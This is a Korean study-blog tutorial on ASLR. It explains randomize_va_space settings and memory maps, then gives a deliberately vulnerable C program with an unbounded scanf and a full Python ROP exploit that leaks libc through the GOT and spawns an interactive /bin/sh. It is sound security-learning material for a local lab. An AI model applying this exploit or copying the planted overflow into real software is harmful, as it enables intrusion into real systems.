[Protection Tech.] ASLR
System/System Hacking

[Protection Tech.] ASLR

728x90

ASLR

= Address Space Layout Randomization

= 메모리 손상 취약점 공격을 방지하기 위한 기술; 라이브러리, 힙, 스택 영역 등의 주소를 바이너리가 실행될 때마다 랜덤하게 바꿔 RTL 등 정해진 주소를 이용한 공격을 막는 보호기법이다.


Detecting ASLR

NX bit의 경우 바이너리의 컴파일 옵션에 따라 적용 여부를 결정했지만

ASLR은 서버의 설정파일에 의해 적용 여부가 결정된다. 

▷Ubuntu16.04: /proc/sys/kernel/randomize_va_space 파일의 값을 통해 확인할 수 있다.

▶설정 파일의 값

0 ASLR을 적용하지 않음 (해제)
1 스택, 라이브러리 메모리를 랜덤화
2 스택, 힙, 라이브러리 메모리를 랜덤화

현재 설정되어 있는 ASLR 값 확인

# cat /proc/sys/kernel/randomize_va_space

현재 내 우분투 서버는 ASLR 이 2로 설정되어 있다.!

 

ASLR 값 변경

# echo 값 > /proc/sys/kernel/randomize_va_space

Example

ex1

//gcc -o ex1 ex1.c -m32
#include <stdio.h>
#include <stdlib.h>
int main(void){
  char * buf = (char *)calloc(1, 4096);
  FILE * fp = 0;
  size_t sz = 0;
  fp = fopen("/proc/self/maps", "r");
  sz = fread(buf, 1, 4096, fp);
  fwrite(buf, 1, sz, stdout);
}

△ 프로세스 자신의 메모리 맵을 읽어 출력해주는 코드

+) "/proc": 프로세스의 정보들이 저장되는 디렉터리

+) "/proc/self": 현재 실행되고 있는 프로세스의 정보가 담겨있는 디렉터리

+) "/proc/self/maps": 현재 실행되고 있는 프로세스의 주소 맵

 

현재 ASLR이 2로 설정되어 있기 때문에 힙, 라이브러리, 스택 메모리의 주소값이 실행할 때 마다 달라지는 것을 알 수 있다. → 정적 주소를 이용한 공격을 사용할 수 없게 된다.

하지만 바이너리 코드 영역의 주소는 변하지 않는다.

 

ASLR의 값을 1로 바꾸고 실행해봤다. (# echo 1 > /proc/sys/kernel/randomize_va_space)

위의 경우(ASLR = 2)와 달리 라이브러리와 스택 메모리의 주소 값만 실행될 때 마다 달라지고, 바이너리 코드 영역과 힙 메모리의 주소는 달라지지 않는다.


ex2

//gcc -o ex2 ex2.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32
#include <stdio.h>
int main(void){
  char buf[32] = {};
  puts("Hello World!");
  puts("Hello ASLR!");
  scanf("%s", buf);
  return 0;
}

32byte의 배열 buf에 데이터를 입력받는다. 이 때 입력 길이의 제한이 없기 때문에 스택 버퍼 오버플로우 취약점이 발생하게 된다.

 

NX bit도 설정되어 있고

서버에 ASLR 보호기법(2)이 적용되어 있다.

 

buf 배열의 주소 = ebp - 0x20

 

ebp 포인터: 스택 프레임의 가장 밑 바닥을 가리킴

                = 스택 프레임 포인터 (SFP)

main함수의 리턴 주소 = ebp + 4

 

 

"A"*36+"BBBB"

main 함수가 리턴한 이후 EIP 레지스터의 값이 0x42424242로 바뀌었다.

 

▶ ROP 를 이용해 exploit 할 수 있다.

 

exploit

익스플로잇의 최종목표는 system("/bin/sh")를 실행하는 것이다.

 

- system 함수와 문자열 "/bin/sh"의 주소를 찾는 것

: 프로그램이 실행될때마다 ASLR이 적용되어 있어 라이브러리 주소가 매번 랜덤하게 매핑된다. 

하지만 한 번 매핑된 라이브러리 주소는 프로그램이 종료될 때까지 바뀌지 않는다. → 메모리에 로딩된 라이브러리의 주소를 구해야한다; Leak the Library's Address

 

PLT 주소는 고정적이기 때문에 바이너리를 디버깅해서 알아낸 plt 주소를 그대로 사용가능하다.

puts@plt, scanf@plt / scanf / puts

puts@plt = 0x8048320 → 0x8048326 사용

scanf@plt = 0x8048340

scanf@got = 0x804a014

- scanf에서 "%s" 포맷 스트링으로 입력받고, 공백("0x20"), 개행("0x0A") 등의 단어를 구분하는 문자를 입력하면 입력을 종료하게 한다. 따라서 puts의 PLT를 호출할 때 puts@plt+6을 호출해도 puts@plt를 호출할 때와 같은 결과를 가져오므로 puts@plt+6인 0x8048326 주소를 사용한다. (<= 자세한 내용은 PLT, GOT에서...)

 

import struct
import subprocess
import os
import pty
import time
def readline(fd):
  res = ''
  try:
    while True:
      ch = os.read(fd, 1)
      res += ch
      if ch == '\n':
        return res
  except:
    raise
def read(fd, n):
  return os.read(fd, n)
def writeline(proc, data):
  try:
    proc.stdin.write(data + '\n')
  except:
    raise
def p32(val):
  return struct.pack("<I", val)
def u32(data):
  return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()    # to ignore buffer
s = subprocess.Popen("./ex2", stdin=subprocess.PIPE, stdout=out_w)
'''
0x804851a <__libc_csu_init+90>:  pop    %edi
0x804851b <__libc_csu_init+91>:  pop    %ebp
0x804851c <__libc_csu_init+92>:  ret    
'''
pop_pop_ret = 0x804851a
pop_ret = pop_pop_ret + 1
scanf_plt = 0x8048340
puts_plt = 0x8048320
puts_got = 0x804a00c
string_fmt = 0x8048559      # "%s"
scanf_got = 0x804a014

print `readline(out_r)`     # Hello World!\n
print `readline(out_r)`     # Hello ASLR!\n

payload  = "A"*36           # buf padding
payload += p32(puts_plt + 6)   # ret addr (puts@plt + 6)
payload += p32(pop_ret)  # ret after puts
payload += p32(scanf_got)   # scanf@got
payload += p32(scanf_plt)
payload += p32(pop_pop_ret)
payload += p32(string_fmt)
payload += p32(scanf_got)
payload += p32(scanf_plt)
payload += p32(0xdeadbeef)
payload += p32(scanf_got+4)
print `payload`
writeline(s, payload)

libc = u32(readline(out_r)[:4]) - 0x5c0c0
system = libc + 0x3ada0
print "libc @ " + hex(libc)
print "system @ " + hex(system)
writeline(s, p32(system)+"/bin/sh\x00")
print "[+] get shell"

while True:
  cmd = raw_input("$ ")
  writeline(s, cmd)
  time.sleep(0.2)
  print read(out_r, 1024)


PLT, GOT 영역에 대한 내용 ▷▷ doongdangdoongdangdong.tistory.com/117

 

[참고사이트]

dreamhack.io/learn/3#1

 

로그인 | Dreamhack

 

dreamhack.io

www.lazenca.net/display/TEC/02.ASLR

 

02.ASLR - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List ASLR ASLR(Address Space Layout Randomization)이란? 메모리 손상 취약점 공격을 방지 하기 위한 기술 입니다.스택, 힙, 라이브러리, 등의 주소를 랜덤한 영역에

www.lazenca.net

SMALL

'System > System Hacking' 카테고리의 다른 글

FSB (Format String Bug)  (0) 2021.02.10
[Protection Tech.] Canaries(카나리), SSP  (0) 2021.01.27
PLT, GOT  (0) 2021.01.14
[Protection Tech.] NX bit  (2) 2021.01.03
[Heap] Memory Leak  (0) 2020.11.16